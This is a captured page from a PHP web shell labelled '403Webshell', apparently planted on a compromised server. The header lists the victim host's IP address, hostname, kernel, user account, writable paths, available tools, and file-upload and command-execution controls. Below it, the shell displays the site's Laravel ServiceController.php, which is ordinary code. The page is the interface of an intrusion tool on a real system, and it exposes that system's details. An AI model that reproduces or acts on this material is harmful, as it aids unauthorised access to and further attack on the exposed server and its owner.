403Webshell
Server IP : 3.138.164.131  /  Your IP : 216.73.216.136
Web Server : Apache
System : Linux ns1.techtime.me 4.18.0-147.8.1.el8.lve.1.x86_64 #1 SMP Mon Jun 29 09:55:57 EDT 2020 x86_64
User : injazaat ( 1471)
PHP Version : 8.1.20
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/injazaat/public_html/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/injazaat/public_html/app/Http/Controllers/ServiceController.php
<?php

namespace App\Http\Controllers;

use App\Models\Service;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Redirect;
use Illuminate\Support\Facades\Validator;
Use RealRashid\SweetAlert\Facades\Alert;
use File;

class ServiceController extends Controller
{
    /**
     * Display a listing of the resource.
     *
     * @return \Illuminate\Http\Response
     */
    public function index()
    {
        $data['service'] = Service::all();
        return view('admin.services_managment.index', $data);
    }

    /**
     * Show the form for creating a new resource.
     *
     * @return \Illuminate\Http\Response
     */
    public function create()
    {
        $data['icons_list'] = array('flaticon-industry', 'flaticon-conveyor', 'flaticon-robotic-arm', 'flaticon-oil', 'flaticon-scythe', 'flaticon-helmet', 'flaticon-trophy', 'flaticon-stamp');
        return view('admin.services_managment.create', $data);
    }

    /**
     * Store a newly created resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return \Illuminate\Http\Response
     */
    public function store(Request $request)
    {
        $validitor = Validator::make($request->all(), [
            'title' => 'required|min:2|max:255',
            'title_ar' => 'required|min:2|max:255',

            'picture' => 'sometimes|image'


        ]);


        if ($validitor->fails()) {
            alert()->error('Opps...','There is some issue with input');
            return Redirect::route('add-services')->withErrors($validitor)->withInput();
        }


        $service = new Service();
        $service->title = $request->title;

        $service->description = $request->description;
        $service->title_ar = $request->title_ar;

        $service->description_ar = $request->description_ar;
        $service->priority = $request->priority;
        $service->picture = $request->image;
        /*
        if($request->hasFile('image')){

            $image = $request->file('image');
            $image_name =  time().$image->getClientOriginalName();
            $path = $request->file('image')->move('service_img', $image_name);
             $service->picture = 'service_img/'.$image_name;
        }
        */
        $service->save();
        Alert::success('Success ', 'Service has been Created');

        return Redirect::route('show-services');
    }

    /**
     * Display the specified resource.
     *
     * @param  \App\Models\Service  $service
     * @return \Illuminate\Http\Response
     */
    public function show(Service $service)
    {
        //
    }

    /**
     * Show the form for editing the specified resource.
     *
     * @param  \App\Models\Service  $service
     * @return \Illuminate\Http\Response
     */
    public function edit($id)
    {
        $data['service'] = Service::find($id); // Eloquent
        $data['icons_list'] = array('flaticon-industry', 'flaticon-conveyor', 'flaticon-robotic-arm', 'flaticon-oil', 'flaticon-scythe', 'flaticon-helmet', 'flaticon-trophy', 'flaticon-stamp');
        return view('/admin/services_managment.update', $data);
    }

    /**
     * Update the specified resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  \App\Models\Service  $service
     * @return \Illuminate\Http\Response
     */
    public function update(Request $request,$id)
    {
        $validitor = Validator::make($request->all(), [
            'title' => 'required|min:2|max:255',
            'title_ar' => 'required|min:2|max:255',

            'picture' => 'sometimes|image'


        ]);


        if ($validitor->fails()) {
            alert()->error('Opps...','There is some issue with input');
            return Redirect::route('edit-services',$id)->withErrors($validitor)->withInput();
        }


        $service =Service::find($id);
        $service->title = $request->title;
        $service->description = $request->description;
        $service->title_ar = $request->title_ar;

        $service->description_ar = $request->description_ar;
        $service->priority = $request->priority;
        $service->picture = $request->image;
        /*
        if($request->hasFile('image')){

            $image = $request->file('image');
            $image_name =  time().$image->getClientOriginalName();
            $path = $request->file('image')->move('service_img', $image_name);
             $service->picture = 'service_img/'.$image_name;
        }
        */
        $service->save();
        Alert::success('Success ', 'Service has been Updated');

        return Redirect::route('show-services');
    }

    /**
     * Remove the specified resource from storage.
     *
     * @param  \App\Models\Service  $service
     * @return \Illuminate\Http\Response
     */
    public function destroy($id)
    {
      $service =  Service::find($id);
      $service->delete();
      return back();
    }




    public function delete_file($id)
    {


        $filedelete = Service::findOrFail($id);

        $image_path = $filedelete->picture;

        if (File::exists(public_path($image_path))) {

            File::delete(public_path($image_path));
            $filedelete->picture = "";
            $filedelete->save();

            return back();
        } else {

            dd('File does not exists.');
        }

    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit